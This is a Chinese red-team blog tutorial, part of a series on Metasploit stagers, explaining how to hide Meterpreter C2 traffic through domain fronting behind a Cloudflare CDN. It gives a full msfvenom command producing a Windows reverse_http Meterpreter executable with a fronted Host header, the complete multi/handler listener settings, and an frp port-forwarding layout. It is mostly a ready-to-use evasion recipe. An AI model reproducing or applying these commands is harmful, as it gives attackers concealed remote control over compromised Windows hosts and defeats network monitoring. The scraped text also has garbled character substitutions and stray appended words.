msf stagers开发不彻底指北(四): msf 中使用域前置技术隐藏流量

msf 中使用域前置技术隐藏流量

前几篇都是说了下如何采用不一样的语言开发 reverse_tcp 第二阶段,接下来将慢慢分析 reverse_http,这篇文章并不会围绕 stagers 进行讲解,这篇文章只是半埋上我以前挖的一个坑,关于域前置技术如何在 msf 中进行应用。windows

域前置技术介绍

域前置技术(Domain-Fronting)顾名思义,把域名放在前面,流量的前面,那么咱们应该如何作到这件事情,这个通常就是利用各大 cdn 服务了。缓存

cdn 技术我不用作过多介绍,相信你们给本身的网站上 cdn 都会上,简略来讲原理的话,在域名注册商那里把 ns 记录,也就是 dns 解析服务器指向到你选择的 cdn 服务商,而后 cdn 就能够接管你的域名解析了,经过不一样的缓存分流策略,把流量通过他的服务器后再转发给咱们本身,也就是 cdn 后面的真实ip咱们是不容易找到的。bash

那么应用到 C2 上,咱们 C2 服务器也能够挂在 cdn 后面,流量经过 cdn 转发回来。服务器

具体更为详细的介绍能够参见 红队行动之鱼叉攻击-倾旋dom

基础配置

首先无论怎样你须要有一个服务器,以及一个加了 cdn 的域名执行你服务器tcp

这里我假设咱们持有的域名为 test.akkuman.com,域名配好 cdn 指向的服务器是 1.1.1.1ide

这里你是把服务器架在 msf 上面仍是内网穿透打通端口,这个看本身喜爱测试

我这里是 msf 位于其余地方 2.2.2.2,而后 2.2.2.2 的 5555 端口经过 frp 映射到 1.1.1.1 的 80 端口上。网站

5555 端口是咱们待会 msf 监听的端口,80 端口是由于访问域名,http 协议,访问80。3d

由于这些流量会经过 cdn 先转发到咱们主机上的 80 端口,而后 80 端口上的流量会经过 frp 处理后送到咱们本机监听的 5555 端口上。

生成 msf payload

基础一些配置作好以后,咱们能够生成 payload 了。

首先咱们须要获得一个 cdn 的 ip,由于 cdn 是依靠 http header 中的 Host 头进行流量转发的,因此咱们只须要 ping 一下咱们加了 cdn 的域名便可得到一个 ip,这里我是用的 cloudflare,得到的一个 ip 为 172.67.207.124

msfvenom -p windows/meterpreter/reverse_http LHOST=172.67.207.124 LPORT=80 HttpHostHeader=test.akkuman.com -f exe -o ~/payload.exe

这里 LHOST 为咱们获取的 cdn ip,由于是 http 协议的 payload,访问域名是访问 80 端口,LPORT 咱们设置为 80

HttpHostHeader 选项为这个生成的 payload 使用 http 协议回连到 cdn ip 时 http header 所使用的 Host 头,还记得咱们刚才说的 cdn 如何识别域名进行流量转发吗,这个就主要是为了 cdn 可以把流量转回到咱们本身的服务器

建立监听器

msf 在监听中有一些配置须要说明一下

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 172.67.207.124
lhost => 172.67.207.124
msf5 exploit(multi/handler) > set lport 80
lport => 80
msf5 exploit(multi/handler) > set HttpHostHeader test.akkuman.com
HttpHostHeader => test.akkuman.com
msf5 exploit(multi/handler) > set OverrideRequestHost true
OverrideRequestHost => true
msf5 exploit(multi/handler) > set ReverseListenerBindAddress 127.0.0.1
ReverseListenerBindAddress => 127.0.0.1
msf5 exploit(multi/handler) > set ReverseListenerBindPort 5555
ReverseListenerBindPort => 5555
msf5 exploit(multi/handler) > run
  • 首先 lhost 为给 payload 返回第二阶段载荷时填入的 ip 地址,即第二阶段会回连到这个 ip

  • lport 为给 payload 返回第二阶段载荷时填入的 port,即第二阶段会回连到这个端口

  • HttpHostHeader 前面说过,是 payload 回连到这个 ip 和 port 时在 http header 中填入的 Host 头

  • OverrideRequestHost 这个选项须要设置为 true,主要是由于 msf 的历史缘由,msf 默认是使用传入请求 http header 中的 Host 字段来做为第二阶段的配置,也就是第二阶段会采用创建链接时传入请求的 Host,这种默认行为在大多数请求下没问题,具体能够自行测试,具体是须要 cdn 回连到咱们真实 ip 时传递的域名是咱们想要的,这个参数设置为 true 可让 msf 忽略传入请求的 Host 头,而使用咱们在 HttpHostHeader 中设置的

  • ReverseListenerBindAddress 和 ReverseListenerBindPort 参数主要是由于个人环境问题,我是经过 frp 把 1.1.1.1:80 穿透到了本地 (2.2.2.2) 的 127.0.0.1:5555,若是你的 msf 直接在 1.1.1.1 上,那么 duck 没必要这么作,直接监听 80 就好

ReverseListenerBindAddress 这个参数其实设置不设置都不要紧,可是不设置的话会有个小报错,

[-] Handler failed to bind to 172.67.207.124:80

这是由于 handler 没法将 cdn 的 ip 绑定到LHOST,由于这个 ip 在咱们服务器上不存在,绑定失败就会提示这个,而后继续绑定 0.0.0.0。若是想要在界面上不显示这个错误,须要设置 ReverseListenerBindAddress 为 0.0.0.0 或者 127.0.0.1 之类的

能够看到,当咱们不设置 ReverseListenerBindAddress 和 ReverseListenerBindPort 时会出现上面的报错 Handler failed to bind to 172.67.207.124:80

也就是 handler 在本地上是但愿监听 80 的,而 1.1.1.1:80 上面的流量是转发到咱们服务器 (2.2.2.2) 本机的 5555 端口上的。

因此咱们的监听程序实际上须要监听在 5555 端口上,因此须要设置 ReverseListenerBindPort 参数

上面的 lhost 和 lport 其实主要是为了第二阶段回送服务的。

实际效果

paylaod.exe <-> cdnip:80(Host: test.akkuman.com) <-> 1.1.1.1:80 <-> frp[1.1.1.1:7000<->2.2.2.2:随机端口] <-> 127.0.0.1:5555

能够看到不论是请求第二阶段仍是后续的心跳包,都是有带上 Host 头,流经 cdn 服务器的,这样咱们就达到了隐藏自身的效果

那么 msf 会话这边呢

能够看到,也是能够正常使用的

相关文章
相关标签/搜索